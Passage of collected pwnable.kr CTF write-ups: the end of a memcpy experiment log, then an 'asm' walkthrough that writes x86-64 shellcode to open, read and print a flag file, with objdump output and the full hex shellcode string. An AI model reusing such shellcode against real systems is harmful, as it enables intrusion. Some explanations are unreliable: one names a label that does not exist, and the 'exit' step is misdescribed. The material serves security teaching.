buffer size 512 202 | ellapsed CPU cycles for slow_memcpy : 3205 203 | [1] 13867 segmentation fault (core dumped) ./memcpy < input 204 | $ sed -i s/256/264/ input 205 | $ ./memcpy < input 206 | [...] 207 | experiment 8 : memcpy with buffer size 1024 208 | ellapsed CPU cycles for slow_memcpy : 6849 209 | [1] 23437 segmentation fault (core dumped) ./memcpy < input 210 | $ sed -i s/512/520/ input 211 | $ ./memcpy < input 212 | [...] 213 | experiment 9 : memcpy with buffer size 2048 214 | ellapsed CPU cycles for slow_memcpy : 11373 215 | [1] 25957 segmentation fault (core dumped) ./memcpy < input 216 | $ sed -i s/1024/1032/ input 217 | $ ./memcpy < input 218 | [...] 219 | experiment 10 : memcpy with buffer size 4096 220 | ellapsed CPU cycles for slow_memcpy : 18641 221 | [1] 31010 segmentation fault (core dumped) ./memcpy < input 222 | $ sed -i s/2048/2056/ input 223 | $ ./memcpy < input 224 | [...] 225 | thanks for helping my experiment! 226 | flag : ----- erased in this source code ----- 227 | ``` 228 | 229 | We can now use our input file in pwnable's server to get the flag. 230 | -------------------------------------------------------------------------------- /toddlers/asm.md: -------------------------------------------------------------------------------- 1 | # Asm 2 | 3 | For this challenge we have to write some shellcode. If you don't know what this is, it's machine code used to exploit buffer overflows, commonly created to spawn a shell. We'll work locally to save time. 4 | 5 | Let's read the code: 6 | 7 | ```c 8 | char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); 9 | memset(sh, 0x90, 0x1000); 10 | memcpy(sh, stub, strlen(stub)); 11 | 12 | int offset = sizeof(stub); 13 | printf("give me your x64 shellcode: "); 14 | read(0, sh+offset, 1000); 15 | 16 | alarm(10); 17 | chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp 18 | sandbox(); 19 | ((void (*)(void))sh)(); 20 | ``` 21 | 22 | We have 1000 bytes to play with, which are read to our buffer and then ran. 23 | 24 | This is going to be easier than a real scenario because there's no need to figure out the offset between the buffer and the return address. 25 | 26 | In reality we would also commonly need to change instructions in our assembly in order to remove any null bytes from the machine code, which are usually a flag for string copy functions to stop reading. 27 | 28 | Another thing to notice is that the name of the flag file is 231-byte long: 29 | 30 | ``` 31 | this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong 32 | ``` 33 | 34 | We have to take care not to make our shellcode too big so we can fit this name there or use some trick to input the name via `stdin`. We'll do the first for completeness and the second is left as an exercise. 35 | 36 | The code also informs us that only open, read and write syscalls are available in our sandbox. 37 | 38 | Let's write our program then: 39 | 40 | ```c 41 | #include 42 | #include 43 | 44 | char *name = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"; 45 | 46 | void main() { 47 | char flag[100]; 48 | read(open(name, O_RDONLY), flag, 100); 49 | write(1, flag, 100); 50 | } 51 | ``` 52 | 53 | We need to do this in assembly, though. For this we'll need to keep a few things in mind: 54 | 55 | 1. We can always compile C to assembly with `$ gcc -S -o `, in case we need help with something. 56 | 2. Our calling convention, `System V`, in which arguments are stored in the `rdi`, `rsi`, `rdx`, `rcx`, `r8`, `r9`, `xmm0`–`xmm7` registers, in this order, and return values are stored in `rax`. 57 | 3. The syscall codes for read, write and open: 58 | 59 | | call | asm | 60 | |-------|--------------------------| 61 | | read | movq $0, %rax
syscall | 62 | | write | movq $1, %rax
syscall | 63 | | open | movq $2, %rax
syscall | 64 | 65 | ```asm 66 | .section .data 67 | name: .string "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong" 68 | 69 | .section .text 70 | .global _start 71 | _start: 72 | movq %rsp, %rbp # storing initial stack pointer 73 | movq $100, %rbx # store size 74 | subq %rbx, %rsp # allocate size bytes 75 | 76 | leaq name(%rip), %rdi # first argument (name) 77 | movl $0, %esi # second argument (O_RDONLY) 78 | movq $2, %rax # open syscall code 79 | syscall 80 | 81 | movl %eax, %edi # first argument (return from open) 82 | leaq -100(%rbp), %rsi # second argument (buffer address) 83 | movl %ebx, %edx # third argument (size) 84 | movq $0, %rax # read syscall code 85 | syscall 86 | 87 | movl $1, %edi # first argument (stdout descriptor) 88 | leaq -100(%rbp), %rsi # second argument (buffer address) 89 | movl %ebx, %edx # third argument (size) 90 | movq $1, %rax # write syscall code 91 | syscall 92 | ``` 93 | 94 | We can now assemble, link and test: 95 | 96 | ```bash 97 | $ as shell.s -o shell.o 98 | $ ld shell.o -o shell 99 | $ echo "flag" > this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong 100 | $ ./shell 101 | flag 102 | [1] 30850 segmentation fault (core dumped) ./shell 103 | ``` 104 | 105 | It works! Now we need to do something to our `name` variable, because we don't have control over the data section of a program which is already running. Let's use this trick: 106 | 107 | ```asm 108 | .section .text 109 | .global _start 110 | _start: 111 | movq %rsp, %rbp # storing initial stack pointer 112 | movq $100, %rbx # store size 113 | subq %rbx, %rsp # allocate size bytes 114 | 115 | jmp do_call 116 | jmp_back: 117 | popq %rdi # first argument (name) 118 | movl $0, %esi # second argument (O_RDONLY) 119 | movq $2, %rax # open syscall code 120 | syscall 121 | 122 | movl %eax, %edi # first argument (return from open) 123 | leaq -100(%rbp), %rsi # second argument (buffer address) 124 | movl %ebx, %edx # third argument (size) 125 | movq $0, %rax # read syscall code 126 | syscall 127 | 128 | movl $1, %edi # first argument (stdout descriptor) 129 | leaq -100(%rbp), %rsi # second argument (buffer address) 130 | movl %ebx, %edx # third argument (size) 131 | movq $1, %rax # write syscall code 132 | syscall 133 | 134 | movq 0x80, %rax 135 | syscall 136 | 137 | do_call: 138 | call jmp_back 139 | name: 140 | .string "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong" 141 | ``` 142 | 143 | Why are we jumping to `jmp_here` and then calling `jmp_back` again? Because, when we make a call, the return address is pushed onto the stack. Here the return address will be the address of `name`, which is now in the text segment. 144 | 145 | Right after the `jmp_here` jump, in `jmp_back`, we pop this address and store in `rdi`, the first argument of the `open` syscall later on. Lastly we add a `0x80` syscall (interrupt) to make sure our program doesn't loop forever. Genius! 146 | 147 | We can now get our shellcode: 148 | 149 | ```bash 150 | $ objdump -d shell 151 | [...] 152 | 0000000000400078 <_start>: 153 | 400078: 48 89 e5 mov %rsp,%rbp 154 | 40007b: 48 c7 c3 64 00 00 00 mov $0x64,%rbx 155 | 400082: 48 29 dc sub %rbx,%rsp 156 | 400085: eb 3e jmp 4000c5 157 | 158 | 0000000000400087 : 159 | 400087: 5f pop %rdi 160 | 400088: be 00 00 00 00 mov $0x0,%esi 161 | 40008d: 48 c7 c0 02 00 00 00 mov $0x2,%rax 162 | 400094: 0f 05 syscall 163 | 400096: 89 c7 mov %eax,%edi 164 | 400098: 48 8d 75 9c lea -0x64(%rbp),%rsi 165 | 40009c: 89 da mov %ebx,%edx 166 | 40009e: 48 c7 c0 00 00 00 00 mov $0x0,%rax 167 | 4000a5: 0f 05 syscall 168 | 4000a7: bf 01 00 00 00 mov $0x1,%edi 169 | 4000ac: 48 8d 75 9c lea -0x64(%rbp),%rsi 170 | 4000b0: 89 da mov %ebx,%edx 171 | 4000b2: 48 c7 c0 01 00 00 00 mov $0x1,%rax 172 | 4000b9: 0f 05 syscall 173 | 4000bb: 48 8b 04 25 80 00 00 mov 0x80,%rax 174 | 4000c2: 00 175 | 4000c3: 0f 05 syscall 176 | 177 | 00000000004000c5 : 178 | 4000c5: e8 bd ff ff ff callq 400087 179 | 180 | 00000000004000ca : 181 | 4000ca: 74 68 je 400134 182 | 4000cc: 69 73 5f 69 73 5f 70 imul $0x705f7369,0x5f(%rbx),%esi 183 | 4000d3: 77 6e ja 400143 184 | 4000d5: 61 (bad) 185 | 4000d6: 62 (bad) 186 | 4000d7: 6c insb (%dx),%es:(%rdi) 187 | 4000d8: 65 2e 6b 72 5f 66 gs imul $0x66,%cs:0x5f(%rdx),%esi 188 | 4000de: 6c insb (%dx),%es:(%rdi) 189 | 4000df: 61 (bad) 190 | 4000e0: 67 5f addr32 pop %rdi 191 | 4000e2: 66 69 6c 65 5f 70 6c imul $0x6c70,0x5f(%rbp,%riz,2),%bp 192 | 4000e9: 65 61 gs (bad) 193 | 4000eb: 73 65 jae 400152 194 | 4000ed: 5f pop %rdi 195 | 4000ee: 72 65 jb 400155 196 | 4000f0: 61 (bad) 197 | 4000f1: 64 5f fs pop %rdi 198 | 4000f3: 74 68 je 40015d 199 | 4000f5: 69 73 5f 66 69 6c 65 imul $0x656c6966,0x5f(%rbx),%esi 200 | 4000fc: 2e 73 6f jae,pn 40016e 201 | 4000ff: 72 72 jb 400173 202 | 400101: 79 5f jns 400162 203 | 400103: 74 68 je 40016d 204 | 400105: 65 5f gs pop %rdi 205 | 400107: 66 69 6c 65 5f 6e 61 imul $0x616e,0x5f(%rbp,%riz,2),%bp 206 | 40010e: 6d insl (%dx),%es:(%rdi) 207 | 40010f: 65 5f gs pop %rdi 208 | 400111: 69 73 5f 76 65 72 79 imul $0x79726576,0x5f(%rbx),%esi 209 | 400118: 5f pop %rdi 210 | 400119: 6c insb (%dx),%es:(%rdi) 211 | 40011a: 6f outsl %ds:(%rsi),(%dx) 212 | 40011b: 6f outsl %ds:(%rsi),(%dx) 213 | 40011c: 6f outsl %ds:(%rsi),(%dx) 214 | 40011d: 6f outsl %ds:(%rsi),(%dx) 215 | 40011e: 6f outsl %ds:(%rsi),(%dx) 216 | 40011f: 6f outsl %ds:(%rsi),(%dx) 217 | 400120: 6f outsl %ds:(%rsi),(%dx) 218 | 400121: 6f outsl %ds:(%rsi),(%dx) 219 | 400122: 6f outsl %ds:(%rsi),(%dx) 220 | 400123: 6f outsl %ds:(%rsi),(%dx) 221 | 400124: 6f outsl %ds:(%rsi),(%dx) 222 | 400125: 6f outsl %ds:(%rsi),(%dx) 223 | 400126: 6f outsl %ds:(%rsi),(%dx) 224 | 400127: 6f outsl %ds:(%rsi),(%dx) 225 | 400128: 6f outsl %ds:(%rsi),(%dx) 226 | 400129: 6f outsl %ds:(%rsi),(%dx) 227 | 40012a: 6f outsl %ds:(%rsi),(%dx) 228 | 40012b: 6f outsl %ds:(%rsi),(%dx) 229 | 40012c: 6f outsl %ds:(%rsi),(%dx) 230 | 40012d: 6f outsl %ds:(%rsi),(%dx) 231 | 40012e: 6f outsl %ds:(%rsi),(%dx) 232 | 40012f: 6f outsl %ds:(%rsi),(%dx) 233 | 400130: 6f outsl %ds:(%rsi),(%dx) 234 | 400131: 6f outsl %ds:(%rsi),(%dx) 235 | 400132: 6f outsl %ds:(%rsi),(%dx) 236 | 400133: 6f outsl %ds:(%rsi),(%dx) 237 | 400134: 6f outsl %ds:(%rsi),(%dx) 238 | 400135: 6f outsl %ds:(%rsi),(%dx) 239 | 400136: 6f outsl %ds:(%rsi),(%dx) 240 | 400137: 6f outsl %ds:(%rsi),(%dx) 241 | 400138: 6f outsl %ds:(%rsi),(%dx) 242 | 400139: 6f outsl %ds:(%rsi),(%dx) 243 | 40013a: 6f outsl %ds:(%rsi),(%dx) 244 | 40013b: 6f outsl %ds:(%rsi),(%dx) 245 | 40013c: 6f outsl %ds:(%rsi),(%dx) 246 | 40013d: 6f outsl %ds:(%rsi),(%dx) 247 | 40013e: 6f outsl %ds:(%rsi),(%dx) 248 | 40013f: 6f outsl %ds:(%rsi),(%dx) 249 | 400140: 6f outsl %ds:(%rsi),(%dx) 250 | 400141: 6f outsl %ds:(%rsi),(%dx) 251 | 400142: 6f outsl %ds:(%rsi),(%dx) 252 | 400143: 6f outsl %ds:(%rsi),(%dx) 253 | 400144: 6f outsl %ds:(%rsi),(%dx) 254 | 400145: 6f outsl %ds:(%rsi),(%dx) 255 | 400146: 6f outsl %ds:(%rsi),(%dx) 256 | 400147: 6f outsl %ds:(%rsi),(%dx) 257 | 400148: 6f outsl %ds:(%rsi),(%dx) 258 | 400149: 6f outsl %ds:(%rsi),(%dx) 259 | 40014a: 6f outsl %ds:(%rsi),(%dx) 260 | 40014b: 6f outsl %ds:(%rsi),(%dx) 261 | 40014c: 6f outsl %ds:(%rsi),(%dx) 262 | 40014d: 6f outsl %ds:(%rsi),(%dx) 263 | 40014e: 6f outsl %ds:(%rsi),(%dx) 264 | 40014f: 6f outsl %ds:(%rsi),(%dx) 265 | 400150: 6f outsl %ds:(%rsi),(%dx) 266 | 400151: 6f outsl %ds:(%rsi),(%dx) 267 | 400152: 6f outsl %ds:(%rsi),(%dx) 268 | 400153: 6f outsl %ds:(%rsi),(%dx) 269 | 400154: 6f outsl %ds:(%rsi),(%dx) 270 | 400155: 6f outsl %ds:(%rsi),(%dx) 271 | 400156: 6f outsl %ds:(%rsi),(%dx) 272 | 400157: 6f outsl %ds:(%rsi),(%dx) 273 | 400158: 6f outsl %ds:(%rsi),(%dx) 274 | 400159: 6f outsl %ds:(%rsi),(%dx) 275 | 40015a: 6f outsl %ds:(%rsi),(%dx) 276 | 40015b: 6f outsl %ds:(%rsi),(%dx) 277 | 40015c: 6f outsl %ds:(%rsi),(%dx) 278 | 40015d: 6f outsl %ds:(%rsi),(%dx) 279 | 40015e: 6f outsl %ds:(%rsi),(%dx) 280 | 40015f: 6f outsl %ds:(%rsi),(%dx) 281 | 400160: 6f outsl %ds:(%rsi),(%dx) 282 | 400161: 6f outsl %ds:(%rsi),(%dx) 283 | 400162: 6f outsl %ds:(%rsi),(%dx) 284 | 400163: 6f outsl %ds:(%rsi),(%dx) 285 | 400164: 6f outsl %ds:(%rsi),(%dx) 286 | 400165: 6f outsl %ds:(%rsi),(%dx) 287 | 400166: 30 30 xor %dh,(%rax) 288 | 400168: 30 30 xor %dh,(%rax) 289 | 40016a: 30 30 xor %dh,(%rax) 290 | 40016c: 30 30 xor %dh,(%rax) 291 | 40016e: 30 30 xor %dh,(%rax) 292 | 400170: 30 30 xor %dh,(%rax) 293 | 400172: 30 30 xor %dh,(%rax) 294 | 400174: 30 30 xor %dh,(%rax) 295 | 400176: 30 30 xor %dh,(%rax) 296 | 400178: 30 30 xor %dh,(%rax) 297 | 40017a: 30 30 xor %dh,(%rax) 298 | 40017c: 30 30 xor %dh,(%rax) 299 | 40017e: 30 6f 6f xor %ch,0x6f(%rdi) 300 | 400181: 6f outsl %ds:(%rsi),(%dx) 301 | 400182: 6f outsl %ds:(%rsi),(%dx) 302 | 400183: 6f outsl %ds:(%rsi),(%dx) 303 | 400184: 6f outsl %ds:(%rsi),(%dx) 304 | 400185: 6f outsl %ds:(%rsi),(%dx) 305 | 400186: 6f outsl %ds:(%rsi),(%dx) 306 | 400187: 6f outsl %ds:(%rsi),(%dx) 307 | 400188: 6f outsl %ds:(%rsi),(%dx) 308 | 400189: 6f outsl %ds:(%rsi),(%dx) 309 | 40018a: 6f outsl %ds:(%rsi),(%dx) 310 | 40018b: 6f outsl %ds:(%rsi),(%dx) 311 | 40018c: 6f outsl %ds:(%rsi),(%dx) 312 | 40018d: 6f outsl %ds:(%rsi),(%dx) 313 | 40018e: 6f outsl %ds:(%rsi),(%dx) 314 | 40018f: 6f outsl %ds:(%rsi),(%dx) 315 | 400190: 6f outsl %ds:(%rsi),(%dx) 316 | 400191: 6f outsl %ds:(%rsi),(%dx) 317 | 400192: 6f outsl %ds:(%rsi),(%dx) 318 | 400193: 6f outsl %ds:(%rsi),(%dx) 319 | 400194: 6f outsl %ds:(%rsi),(%dx) 320 | 400195: 6f outsl %ds:(%rsi),(%dx) 321 | 400196: 30 30 xor %dh,(%rax) 322 | 400198: 30 30 xor %dh,(%rax) 323 | 40019a: 30 30 xor %dh,(%rax) 324 | 40019c: 30 30 xor %dh,(%rax) 325 | 40019e: 30 30 xor %dh,(%rax) 326 | 4001a0: 30 30 xor %dh,(%rax) 327 | 4001a2: 6f outsl %ds:(%rsi),(%dx) 328 | 4001a3: 30 6f 30 xor %ch,0x30(%rdi) 329 | 4001a6: 6f outsl %ds:(%rsi),(%dx) 330 | 4001a7: 30 6f 30 xor %ch,0x30(%rdi) 331 | 4001aa: 6f outsl %ds:(%rsi),(%dx) 332 | 4001ab: 30 6f 30 xor %ch,0x30(%rdi) 333 | 4001ae: 6f outsl %ds:(%rsi),(%dx) 334 | 4001af: 6e outsb %ds:(%rsi),(%dx) 335 | 4001b0: 67 addr32 336 | ... 337 | ``` 338 | 339 | It would be too much work to put this together by hand. Let's use this snippet to make it easier: 340 | 341 | ```bash 342 | $ for i in $(objdump -d shell | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$') ; do echo -n "\\x$i" ; done 343 | \x48\x89\xe5\x48\xc7\xc3\x64\x00\x00\x00\x48\x29\xdc\xeb\x3e\x5f\xbe\x00\x00\x00\x00\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x89\xc7\x48\x8d\x75\x9c\x89\xda\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\x48\x8d\x75\x9c\x89\xda\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x8b\x04\x25\x80\x00\x00\x00\x0f\x05\xe8\xbd\xff\xff\xff\x74\x68\x69\x73\x5f\x69\x73\x5f\x70\x77\x6e\x61\x62\x6c\x65\x2e\x6b\x72\x5f\x66\x6c\x61\x67\x5f\x66\x69\x6c\x65\x5f\x70\x6c\x65\x61\x73\x65\x5f\x72\x65\x61\x64\x5f\x74\x68\x69\x73\x5f\x66\x69\x6c\x65\x2e\x73\x6f\x72\x72\x79\x5f\x74\x68\x65\x5f\x66\x69\x6c\x65\x5f\x6e\x61\x6d\x65\x5f\x69\x73\x5f\x76\x65\x72\x79\x5f\x6c\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x6e\x67 344 | ``` 345 | 346 | We can now input this to the program and get the flag. 347 | --------------------------------------------------------------------------------